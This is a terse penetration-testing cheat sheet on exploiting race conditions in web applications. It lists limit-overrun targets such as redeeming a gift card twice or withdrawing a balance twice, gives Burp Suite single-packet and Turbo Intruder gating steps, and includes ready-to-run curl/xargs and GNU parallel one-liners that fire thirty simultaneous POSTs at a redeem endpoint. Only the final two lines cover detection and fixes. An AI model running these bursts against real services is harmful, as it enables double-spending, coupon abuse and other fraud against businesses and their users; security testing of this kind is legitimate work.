Race-condition exploitation — limit-overrun targets, Burp single-packet attack, Turbo Intruder gating, parallel curl/GNU-parallel bursts, plus how to confirm and mitigate (idempotency, locks).
redeem a coupon / gift card twice
withdraw or transfer a balance twice simultaneously
register / vote / apply-promo twice
Repeater -> add tabs to a group -> "Send group in parallel"
"Send group (single connection)"
for i in range(20): engine.queue(target.req, gate='race')
engine.openGate('race')
template: race-single-packet.py
seq 30 | xargs -P30 -I{} curl -s -X POST https://target.com/api/redeem -d 'code=PROMO' -b 'session=...'
parallel -j30 curl -s -X POST https://target.com/api/redeem ::: $(seq 30)
look for: 2x side effects, inconsistent balances, duplicate records
fix: idempotency keys, DB unique constraints, SELECT ... FOR UPDATE locks